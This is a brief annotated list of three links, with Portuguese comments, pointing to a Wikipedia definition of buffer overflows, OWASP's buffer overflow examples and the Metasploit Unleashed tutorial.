http://pt.wikipedia.org/wiki/Transbordamento_de_dados [ definição buffer overflows ]
http://www.owasp.org/index.php/Buffer_Overflow [ buffer overflows exemplos ]
http://www.offensive-security.com/metasploit-unleashed [ otima tutorial sobre o metasploit ]
